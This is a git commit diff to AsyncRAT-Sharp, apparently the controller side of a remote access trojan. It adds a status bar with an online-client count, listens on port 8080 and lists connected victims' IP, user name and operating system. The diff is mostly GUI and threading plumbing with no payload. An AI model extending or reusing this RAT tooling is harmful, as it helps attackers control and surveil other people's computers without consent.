This commit is contained in:
NYAN CAT 2019-01-22 20:43:38 -08:00
parent ac48659af5
commit a7f6c857b4
6 changed files with 66 additions and 24 deletions

View File

@ -35,7 +35,10 @@
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.contextMenuStrip1.SuspendLayout(); this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.SuspendLayout(); this.SuspendLayout();
// //
// listView1 // listView1
@ -55,18 +58,22 @@
this.listView1.TabIndex = 0; this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = System.Windows.Forms.View.Details; this.listView1.View = System.Windows.Forms.View.Details;
this.listView1.Resize += new System.EventHandler(this.listView1_Resize);
// //
// lv_ip // lv_ip
// //
this.lv_ip.Text = "IP"; this.lv_ip.Text = "IP";
this.lv_ip.Width = 150;
// //
// lv_user // lv_user
// //
this.lv_user.Text = "USER"; this.lv_user.Text = "USER";
this.lv_user.Width = 150;
// //
// lv_os // lv_os
// //
this.lv_os.Text = "OS"; this.lv_os.Text = "OS";
this.lv_os.Width = 300;
// //
// contextMenuStrip1 // contextMenuStrip1
// //
@ -83,17 +90,38 @@
this.sendMessageToolStripMenuItem.Text = "Send Message"; this.sendMessageToolStripMenuItem.Text = "Send Message";
this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click); this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click);
// //
// statusStrip1
//
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripStatusLabel1});
this.statusStrip1.Location = new System.Drawing.Point(0, 342);
this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Size = new System.Drawing.Size(849, 30);
this.statusStrip1.TabIndex = 1;
this.statusStrip1.Text = "statusStrip1";
//
// toolStripStatusLabel1
//
this.toolStripStatusLabel1.Name = "toolStripStatusLabel1";
this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25);
this.toolStripStatusLabel1.Text = "...";
//
// Form1 // Form1
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(849, 372); this.ClientSize = new System.Drawing.Size(849, 372);
this.Controls.Add(this.statusStrip1);
this.Controls.Add(this.listView1); this.Controls.Add(this.listView1);
this.Name = "Form1"; this.Name = "Form1";
this.Text = "AsyncRAT-Sharp // NYAN CAT"; this.Text = "AsyncRAT-Sharp // NYAN CAT";
this.Load += new System.EventHandler(this.Form1_Load); this.Load += new System.EventHandler(this.Form1_Load);
this.contextMenuStrip1.ResumeLayout(false); this.contextMenuStrip1.ResumeLayout(false);
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
this.ResumeLayout(false); this.ResumeLayout(false);
this.PerformLayout();
} }
@ -105,6 +133,8 @@
private System.Windows.Forms.ColumnHeader lv_os; private System.Windows.Forms.ColumnHeader lv_os;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem;
private System.Windows.Forms.StatusStrip statusStrip1;
private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
} }
} }

View File

@ -2,7 +2,9 @@
using System.Windows.Forms; using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets; using AsyncRAT_Sharp.Sockets;
using System.Threading.Tasks;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
namespace AsyncRAT_Sharp namespace AsyncRAT_Sharp
{ {
public partial class Form1 : Form public partial class Form1 : Form
@ -12,12 +14,16 @@ namespace AsyncRAT_Sharp
InitializeComponent(); InitializeComponent();
} }
private void Form1_Load(object sender, EventArgs e) async private void Form1_Load(object sender, EventArgs e)
{ {
Handle_Packet.HandlePacket.Form = this;
Listener listener = new Listener(); Listener listener = new Listener();
listener.Connect(8080); listener.Connect(8080);
while (true)
{
await Task.Delay(1000);
toolStripStatusLabel1.Text = String.Format("Online {0}", listView1.Items.Count.ToString());
}
} }
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e) private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
@ -37,5 +43,10 @@ namespace AsyncRAT_Sharp
} }
} }
} }
private void listView1_Resize(object sender, EventArgs e)
{
listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
}
} }
} }

View File

@ -120,4 +120,7 @@
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value> <value>17, 17</value>
</metadata> </metadata>
<metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>234, 17</value>
</metadata>
</root> </root>

View File

@ -1,32 +1,28 @@
using AsyncRAT_Sharp.Sockets; using AsyncRAT_Sharp.Sockets;
using System.Windows.Forms; using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.MessagePack;
using System;
namespace AsyncRAT_Sharp.Handle_Packet namespace AsyncRAT_Sharp.Handle_Packet
{ {
class HandlePacket class HandlePacket
{ {
public static Form1 Form; public static void Read(Clients client, byte[] data)
public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data);
public static void Read(Clients Client, byte[] Data)
{ {
MsgPack unpack_msgpack = new MsgPack(); MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data); unpack_msgpack.DecodeFromBytes(data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "ClientInfo": case "ClientInfo":
if (Form.listView1.InvokeRequired) Program.form1.Invoke((MethodInvoker)delegate ()
Form.listView1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] {Client, Data});
else
{ {
Client.LV = new ListViewItem(); client.LV = new ListViewItem();
Client.LV.Tag = Client; client.LV.Tag = client;
Client.LV.Text = string.Concat(Client.client.RemoteEndPoint.ToString()); client.LV.Text = string.Concat(client.client.RemoteEndPoint.ToString());
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Form.listView1.Items.Insert(0, Client.LV); Program.form1.listView1.Items.Insert(0, client.LV);
Form.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); });
}
break; break;
} }
} }

View File

@ -16,7 +16,9 @@ namespace AsyncRAT_Sharp
{ {
Application.EnableVisualStyles(); Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false); Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1()); form1 = new Form1();
Application.Run(form1);
} }
public static Form1 form1;
} }
} }

View File

@ -89,8 +89,8 @@ namespace AsyncRAT_Sharp.Sockets
delegate void _isDisconnected(); delegate void _isDisconnected();
public void Disconnected() public void Disconnected()
{ {
if (HandlePacket.Form.listView1.InvokeRequired) if (Program.form1.listView1.InvokeRequired)
HandlePacket.Form.listView1.Invoke(new _isDisconnected(Disconnected)); Program.form1.listView1.Invoke(new _isDisconnected(Disconnected));
else else
{ {
LV.Remove(); LV.Remove();